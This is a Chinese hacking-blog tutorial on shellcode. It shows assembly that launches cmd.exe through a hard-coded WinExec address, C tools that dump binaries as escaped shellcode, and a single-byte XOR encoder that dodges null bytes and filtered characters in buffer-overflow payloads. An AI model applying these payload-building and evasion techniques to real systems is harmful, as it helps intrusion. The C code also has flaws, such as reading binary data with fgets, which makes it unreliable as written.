http://hi.baidu.com/olhack/blog/item/4eaad7b4132c15738ad4b2f6.html
黑防以前N多的文章已经介绍了ShellCode的编写,所以关于ShellCode的编写不是本文的目的。一般情况下,我们都是用汇编写好实现ShellCode功能的汇编代码,然后再提取16进制,那怎么提取呢?有人说用VC反汇编后,可以得到对应的16进制代码,然后手抄! Oh……晕死!有人说用内存拷贝!Oh……也比较笨,而且还要自己做一些麻烦的处理。呵呵,说了这么多废话,就是引出本文的写作目的:给大家介绍如何通过编程来实现提取ShellCode的16进制代码,并且能提供对ShellCode进行XOR加密而避开特殊字符的限制。 这里首先要感谢delicon(国外的一个牛人),因为我这里的编程实现有部分借鉴他提供的源代码。其实在安全焦点,navyseals已经提供了ShellCode提取的小工具。如果大家只是要用工具,那么可以直接去下载来用就是,或者用我在附件里提供的工具也可。不过有人说过,不会自己写工具的人不是一个真正的黑客。呵呵,你想成为真正的黑客吗? Ok……Do it yourself! 如果是实现小型功能的ShellCode,我们大可以用VC的内联汇编功能,但如果是要实现功能复杂一点的ShellCode,VC的内联汇编就远远不能满足我们的要求了,而且内联汇编不易移植,这时候我们就要换一个更为强大的汇编编译器NASM(附件里有收录),我们可以先写用汇编写好代码。比如我们写一段开DOS窗口的汇编代码,如下: push ebp mov ebp,esp push ebx mov byte ptr [ebp-4],63h // ‘c’ mov byte ptr [ebp-3],6Dh // ‘m’ mov byte ptr [ebp-2],64h // ‘d’ mov byte ptr [ebp-1],0 // ‘/0’
push 5 //这里,#define SW_SHOW 5 lea eax,[ebp-4] push eax mov eax, 0x77e4fd35 call eax pop esp 小提示:上面0x77e4fd35是WinExec函数在作者计算机(Windows XP SP1)上的函数入口地址,不同的系统该地址可能不同。 这段汇编代码实现的功能对应的C语言如下: #include <windows.h> void main() { char cmdline[4] = “cmd”; WinExec(cmdline,SW_SHOW); } 如果我们用在VC的内联汇编中,就应该是下面这样的格式: #include <windows.h> void main() { __asm{ push ebp mov ebp,esp push ebx mov byte ptr [ebp-4],63h mov byte ptr [ebp-3],6Dh mov byte ptr [ebp-2],64h mov byte ptr [ebp-1],0
push 5 lea eax,[ebp-4] push eax mov eax, 0x77e4fd35 call eax pop esp } } 看,也就是把内联汇编块用__asm{}包起来。好,我们编译运行,可爱的DOS窗口就弹出来了。 那么我们怎么运用NASM来编译汇编代码呢?很简单,把实现功能的汇编代码段(比如上面这段开DOS窗口的代码)在代码的第一行,加上BITS 32,如下图2所示。然后把汇编代码段里的类型转换指令PTR全部去掉(因为NASM的BYTE已经做了优化,它本身已经相当于MASM的PTR BYTE了),保存在一个后缀名为.asm的文件里,比如上面的,我保存为cmd.asm,然后在命令行下输入下列命令; nasm –s –fbin cmd.asm 参数解析: -s 重定向错误消息到标准输出,便于查看错误 -f 后接有效的输出格式,比如可以接-fbin,-fwin32 –fobj等。如果不跟格式,就表示默认为-fbin,生成平坦格式的二进制文件(具体详细的命令参数可以查看NASM帮助。) 如果没有错误,就会生成一个名为CMD文件,如果用UltraEdit查看。呵呵,你会发现里面就是我们想要的ShellCode十六进制码。有些读者开始用鼠标“框”,然后拷贝。呵呵,大哥悠着点,我们还没完,你不觉得这样跟在VC里用内存拷贝没什么区别吗?而且你还要手动的在每个字节前添加/x或0x。既然16进制码都有了,我们还写不出一个提取ShellCode的小程序吗? 呵呵,废话少说,直接给出提取ShellCode的C代码:
void ShellCodeGenerater(char *file) { int iFileSize; FILE *fp = NULL; fp = fopen(file,"rb"); //以二进制只读模式打开文件 if( fp == NULL ) // 判断文件是否成功打开 { printf("Error: Unable to open %s!/n",file); exit(1); } //计算文件大小 fseek(fp,0,SEEK_END); //移到文件末尾 iFileSize = ftell(fp); //获得文件指针的当前位置,iFileSize就是文件的大小了 fseek(fp,0,SEEK_SET); //回到文件头位置
BYTE bb; char *buff = (char *)malloc(iFileSize); //预留足够的空间 if( fgets(buff,iFileSize,fp) == NULL ) //把读入文件内容读入buff缓冲区 { printf("Error: Unable to read from file./n"); exit(1); } FILE* myfile; myfile = fopen("ShellCode.txt","w"); //创建或打开ShellCode.txt来保存ShellCode fprintf(myfile,"char shellcode[] = /n"); fprintf(myfile,"/""); for( int i=0 ; i < iFileSize ; i++ ) { bb = buff[i]; fprintf(myfile,"//x%2.2X",bb); if(i%16==0) // 每行16个字节 { fprintf(myfile,"/""); fprintf(myfile,"/n/""); } } //关闭文件流 fclose(myfile); fclose(fp); return; } 整个程序思路很简单,就是基本的文件读取操作而已,提供一个文件名,按二进制格式读取,然后在每个字节前加上/x,输出到一个文件名为“ShellCode.txt”的文件中,简单吧!比如我们编译上面的程序后生成名为ShellCode_Gen.exe,那么对于前面生成的cmd文件,我们就可以在命令行下:ShellCode_Gen.exe CMD,如果没有错误发生,就得到了ShellCode.txt文件,打开看看。 这样就可以轻松地拷贝了,而且免去了手动添加/x的痛苦。 大家都知道,一般用于缓冲区溢出的ShellCode都对编码有要求,最典型的就是不允许0x00空字符的存在了,因为在传输过程中它会截断我们的ShellCode而导致溢出失败。更特殊的,对于不同的漏洞程序,还有特殊字符的限制,更加迫使我们对ShellCode进行编码。下面,我们通过修改上面的程序来解决这些问题吧。 最普通的情况是,我们可以选择一个合适的XOR值(比如常见的0x97或0x99),对整个ShellCode里所有字节进行XOR,然后在解码的时候再XOR回来。 对于上面的void ShellCodeGenerater(char *file),我们做一点小改动,给它多加一个参数: void ShellCodeGenerater(char *file,char *xorchar) 其中第2个参数是我们在命令行下赋给程序的第2个参数,它就是我们用来XOR的单个字节,比如0x97。 我们的思路和上面是一样的,就是在写入ShellCode.txt前,对每个字节XOR一次,所以需要开辟一块大小和buff一样的空间来存放XOR后的值,然后逐个按位异或,并记录包含“/x00”字节的个数: for(int i=0; i<iFileSize; i++) { //bEncodeChar是利用strtoul(xorchar,NULL,0)转换而来 buff2[i] = buff[i]^bEncodeChar; if ( buff2[i] == '/x00') CountOfNull++; // CountOfNull用来计数‘/x00’的个数 } 到这还没完,我们只是避开了“/x00”空字节,那其它的特殊字符呢?比如RPC溢出利用中对“/”做了限制?来解决这个问题,精益求精嘛。上面的程序只需要改动一点点,先添加一个函数,它检验并计算存在多少个我们所指定不包括“/x00”在内的非法受限字符,该函数定义如下: int GetNumOfIllegalChar(char *buffer, char* IllegalChar) { char *p; int count =0; for( ; *IllegalChar; IllegalChar++) { p = strchr(buffer,*IllegalChar); //查找非法字符 if(p) count++; } return count; } 其中,buffer指向的是buff2所指的缓冲区,IllegalChar所指的字符串为程序命令行的第3个参数,GetNumOfIllegalChar()返回的是不包括“/x00”在内的非法字符数。我们把这个函数放在ShellCodeGenerater()里调用,所以得再给ShellCodeGenerater()添加第3个参数,让他接受程序得第3个命令行参数: void ShellCodeGenerater(char *file,char *xorchar,char *specialchar) 详细的源代码参照附件encodeshellcode.cpp。 对选取的XOR值只要能避开“/x00”和非法字符即可,比如0x96不行,换0x97,如果还不行,换0x99,直到行为止,只要受限字符不是太多,总会得到适合的XOR值的。最后得到我们的加密ShellCode程序,假如用上面CMD文件做试验,“0x97”做XOR值,受限字符为“/:()|”,那么在命令行下就可以这样使用: encodeshellcode.exe CMD 0x99 /:()| 看到反白部分,指出有一个不合法字符。那换0x97试试: Encodeshellcode.exe CMD 0x97 /:()| 得到结果如图6所示: 再打开生成的ShellCode.txt。 哈哈,这就是我们可用的编码过的ShellCode了! 本文介绍的编程实现虽然很简单,而且在编码这里也有存在一定的局限性,但大家可以发挥你们的聪明才智,将其改进完善,相信一定会非常实用的。真诚希望本文能给在正学习缓冲区溢出和ShellCode技术的你一点帮助。
|